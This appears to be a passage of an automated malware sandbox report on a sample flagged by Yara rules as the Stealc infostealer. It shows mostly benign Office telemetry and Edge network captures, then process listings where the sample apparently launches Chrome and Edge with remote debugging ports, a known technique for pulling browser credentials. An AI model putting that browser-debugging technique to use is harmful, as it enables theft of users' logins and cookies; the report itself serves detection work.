2024-11-28 10:05:46 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:46 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:46 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100546Z-174f7845968j6t2phC1EWRcfe80000000yhg0000000006kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:47 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100547Z-174f7845968cdxdrhC1EWRg0en0000000y5g000000007twd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:47 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:48 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:48 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100548Z-174f7845968jrjrxhC1EWRmmrs0000000ye0000000003wr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:48 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:48 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:48 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:48 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 254393c3-001e-0066-2422-41561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100548Z-174f78459684bddphC1EWRbht40000000y20000000002tr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:48 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:48 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:48 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:48 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100548Z-174f78459684bddphC1EWRbht40000000xwg00000000acyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:48 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	49935	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:48 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:49 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT X-Source-Length: 822 X-Datacenter: northeu X-ActivityId: 5763b2c5-4e9a-486b-a0ff-57403523bc58 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=63618 Expires: Fri, 29 Nov 2024 03:46:06 GMT Date: Thu, 28 Nov 2024 10:05:48 GMT Connection: close
2024-11-28 10:05:49 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:48 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:49 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:49 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fdde8523-d01e-0028-578c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100549Z-174f7845968l4kp6hC1EWRe8840000000yhg0000000040tw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:49 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:49 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:49 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:49 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 04a8d43b-f01e-0052-4745-409224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100549Z-174f7845968cpnpfhC1EWR3afc0000000xyg000000003603 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:49 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:50 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:50 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:50 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: f5d1acec-801e-0078-3322-41bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100550Z-174f7845968glpgnhC1EWR7uec0000000ycg000000007kzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:50 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Target ID:	0
Start time:	05:04:53
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3f0000
File size:	1'776'640 bytes
MD5 hash:	EFF725EDFB37AB797A338EFAB7F09C76
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1808225152.000000000119E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1287052462.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1806196149.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:05:07
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:05:07
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2096,i,4119091583020407398,11720499751748180753,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:49:44
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:49:44
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2288,i,14532237157609877678,14624364788927155022,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:49:45
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	06:49:46
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	06:49:51
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6796 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
